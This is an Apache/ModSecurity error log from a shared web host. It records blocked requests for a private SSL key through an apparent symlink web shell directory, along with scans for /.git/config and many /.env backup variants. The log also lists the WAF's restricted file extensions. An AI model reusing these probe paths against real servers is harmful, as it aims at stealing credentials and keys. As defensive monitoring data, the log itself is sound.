[Sat Oct 24 06:01:28.636276 2026] [security2:error] [pid 2608663:tid 2608663] [client 85.208.96.193:20672] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bb866_21d39_990e981ffe83a365bdda49d4da2f346e.key"] [unique_id "atyB-DOT1ZsOoHahaDY-QQAAAAY"]
[Sat Oct 24 06:01:28.636648 2026] [security2:error] [pid 2608663:tid 2608663] [client 85.208.96.193:20672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bb866_21d39_990e981ffe83a365bdda49d4da2f346e.key"] [unique_id "atyB-DOT1ZsOoHahaDY-QQAAAAY"]
[Sat Oct 24 06:01:28.636971 2026] [security2:error] [pid 2608663:tid 2608663] [client 85.208.96.193:20672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bb866_21d39_990e981ffe83a365bdda49d4da2f346e.key"] [unique_id "atyB-DOT1ZsOoHahaDY-QQAAAAY"]
[Sat Oct 24 06:01:30.179983 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.203.68.145:60686] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:01:34.369127 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 34.235.239.240:25647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/unbind
[Sat Oct 24 06:01:38.169281 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 98.82.107.102:52228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:01:46.184957 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.232.102.111:63115] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:01:46.633684 2026] [authz_core:error] [pid 2608731:tid 2608731] [client 64.112.42.103:35948] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 06:01:46.950549 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 85.208.96.209:23784] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:01:50.187981 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.205.170.13:50753] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:02:06.354891 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 44.212.145.46:39872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:02:10.191396 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.200.251.20:53341] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:02:22.225948 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 44.194.139.149:10856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/xhci_hcd/new_id
[Sat Oct 24 06:02:28.194562 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyCNDOT1ZsOoHahaDY-SAAAAAY"]
[Sat Oct 24 06:02:28.194846 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyCNDOT1ZsOoHahaDY-SAAAAAY"]
[Sat Oct 24 06:02:28.195193 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyCNDOT1ZsOoHahaDY-SAAAAAY"]
[Sat Oct 24 06:02:28.441363 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atyCNDOT1ZsOoHahaDY-SgAAAAY"]
[Sat Oct 24 06:02:28.441732 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atyCNDOT1ZsOoHahaDY-SgAAAAY"]
[Sat Oct 24 06:02:28.442204 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atyCNDOT1ZsOoHahaDY-SgAAAAY"]
[Sat Oct 24 06:02:28.528170 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atyCNDOT1ZsOoHahaDY-SwAAAAY"]
[Sat Oct 24 06:02:28.528421 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atyCNDOT1ZsOoHahaDY-SwAAAAY"]
[Sat Oct 24 06:02:28.528763 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atyCNDOT1ZsOoHahaDY-SwAAAAY"]
[Sat Oct 24 06:02:28.616054 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atyCNDOT1ZsOoHahaDY-TAAAAAY"]
[Sat Oct 24 06:02:28.616316 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atyCNDOT1ZsOoHahaDY-TAAAAAY"]
[Sat Oct 24 06:02:28.616690 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atyCNDOT1ZsOoHahaDY-TAAAAAY"]
[Sat Oct 24 06:02:28.712347 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atyCNDOT1ZsOoHahaDY-TQAAAAY"]
[Sat Oct 24 06:02:28.712593 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atyCNDOT1ZsOoHahaDY-TQAAAAY"]
[Sat Oct 24 06:02:28.712956 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atyCNDOT1ZsOoHahaDY-TQAAAAY"]
[Sat Oct 24 06:02:28.797833 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atyCNDOT1ZsOoHahaDY-TgAAAAY"]
[Sat Oct 24 06:02:28.798061 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atyCNDOT1ZsOoHahaDY-TgAAAAY"]
[Sat Oct 24 06:02:28.798432 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atyCNDOT1ZsOoHahaDY-TgAAAAY"]
[Sat Oct 24 06:02:28.884179 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "atyCNDOT1ZsOoHahaDY-TwAAAAY"]
[Sat Oct 24 06:02:28.884547 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "atyCNDOT1ZsOoHahaDY-TwAAAAY"]
[Sat Oct 24 06:02:28.884973 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "atyCNDOT1ZsOoHahaDY-TwAAAAY"]
[Sat Oct 24 06:02:28.970603 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "atyCNDOT1ZsOoHahaDY-UAAAAAY"]
[Sat Oct 24 06:02:28.970832 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "atyCNDOT1ZsOoHahaDY-UAAAAAY"]
[Sat Oct 24 06:02:28.971188 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "atyCNDOT1ZsOoHahaDY-UAAAAAY"]
[Sat Oct 24 06:02:29.059326 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atyCNTOT1ZsOoHahaDY-UQAAAAY"]
[Sat Oct 24 06:02:29.059569 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atyCNTOT1ZsOoHahaDY-UQAAAAY"]
[Sat Oct 24 06:02:29.059935 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atyCNTOT1ZsOoHahaDY-UQAAAAY"]
[Sat Oct 24 06:02:29.150347 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atyCNTOT1ZsOoHahaDY-UgAAAAY"]
[Sat Oct 24 06:02:29.150637 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atyCNTOT1ZsOoHahaDY-UgAAAAY"]
[Sat Oct 24 06:02:29.151030 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atyCNTOT1ZsOoHahaDY-UgAAAAY"]
[Sat Oct 24 06:02:29.246142 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atyCNTOT1ZsOoHahaDY-UwAAAAY"]
[Sat Oct 24 06:02:29.246389 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atyCNTOT1ZsOoHahaDY-UwAAAAY"]
